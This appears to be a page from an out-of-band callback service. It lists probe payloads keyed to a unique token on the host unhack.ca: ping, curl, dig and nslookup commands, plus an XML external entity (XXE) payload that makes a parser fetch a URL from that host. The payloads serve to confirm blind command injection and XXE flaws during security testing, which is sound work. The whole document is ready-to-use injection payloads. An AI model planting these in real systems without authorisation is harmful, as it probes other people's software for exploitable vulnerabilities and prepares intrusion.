$ ping -c1 -p 00b2c9ad7491e36150b616f1c8eec800 unhack.ca
 

$ curl http://unhack.ca/p/b2c9ad7491e36150b616f1c8eec8
 

$ dig b2c9ad7491e36150b616f1c8eec8 @unhack.ca
 

$ dig b2c9ad7491e36150b616f1c8eec8.ns.unhack.ca
 

C:\> nslookup b2c9ad7491e36150b616f1c8eec8 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b2c9ad7491e36150b616f1c8eec8">]>
    <foo>&xxe;</foo>